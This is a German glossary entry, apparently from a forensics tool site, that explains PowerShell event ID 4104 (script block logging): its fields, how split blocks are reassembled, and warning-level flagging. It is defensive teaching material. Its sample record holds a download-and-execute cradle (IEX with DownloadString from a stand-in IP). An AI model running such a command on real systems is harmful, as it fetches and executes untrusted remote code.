Skip to content

Glossar

Ereignis-ID 4104

Ereignis der PowerShell-Skriptblockprotokollierung: ein kompilierter Codeblock mit ScriptBlockId, nummeriert als MessageNumber von MessageTotal.

Ereignis-ID 4104 ist das Ereignis der Skriptblockprotokollierung, das in das Protokoll Microsoft-Windows-PowerShell/Operational geschrieben wird (bei PowerShell 7 in PowerShellCore/Operational). Jedes Ereignis enthält den Text eines Blocks PowerShell-Code so, wie die Engine ihn kompiliert hat, also nachdem jede Kodierung oder Zeichenketten-Obfuskation aufgelöst wurde. Damit ist es die ergiebigste Einzelquelle dafür, was PowerShell tatsächlich ausgeführt hat.

Warum es für Untersuchungen wichtig ist

4104 zeigt den Code selbst, nicht nur eine Befehlszeile, und legt so die Logik eines Skripts offen, das heruntergeladen, dekodiert oder im Arbeitsspeicher zusammengesetzt wurde. Seine EventData enthalten vier Felder, die Sie kennen sollten:

  • ScriptBlockText: der Code dieses Teils des Blocks
  • ScriptBlockId: eine GUID, die alle Teile eines Blocks gemeinsam haben
  • MessageNumber / MessageTotal: dieser Teil n von N
  • Path: die Quelldatei .ps1, wenn der Block aus einem Skript stammt

Da das Ereignisprotokoll die Größe eines einzelnen Ereignisses begrenzt, wird ein langes Skript auf mehrere 4104-Ereignisse aufgeteilt. Um es wiederherzustellen, gruppieren Sie nach ScriptBlockId, sortieren nach MessageNumber und verketten ScriptBlockText. Ist ein Teil aus dem Protokoll herausrotiert oder wurde nie gesammelt, hat die Rekonstruktion eine Lücke, die jede Interpretation berücksichtigen muss.

Auch die Stufe ist wichtig. Ist die Richtlinie aktiv, werden Blöcke auf der Stufe Ausführlich protokolliert; auf Warnstufe protokollierte Blöcke hat PowerShell von sich aus markiert, weil sie Begriffe enthalten, die es für verdächtig hält. Das geschieht auch dann, wenn die vollständige Protokollierung ausgeschaltet ist.

Beispiel

Ein langes Skript kann als drei Ereignisse mit derselben ScriptBlockId eintreffen, nummeriert als 1 von 3, 2 von 3 und 3 von 3. Sind nur die Teile 1 und 3 erhalten, zeigt der Parser den Block trotzdem an und markiert ihn als unvollständig mit dem Hinweis, dass Teil 2 von 3 nicht im Protokoll vorhanden ist, damit die Lücke nicht übersehen wird. Ein Block aus nur einem Teil könnte so aussehen:

ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
MessageNumber: 1   MessageTotal: 1

Verwandte Begriffe

Setzen Sie 4104-Ereignisse mit dem PowerShell Parser direkt im Browser zusammen und dekodieren Sie sie, und lesen Sie den Forensik-Leitfaden zu 4104.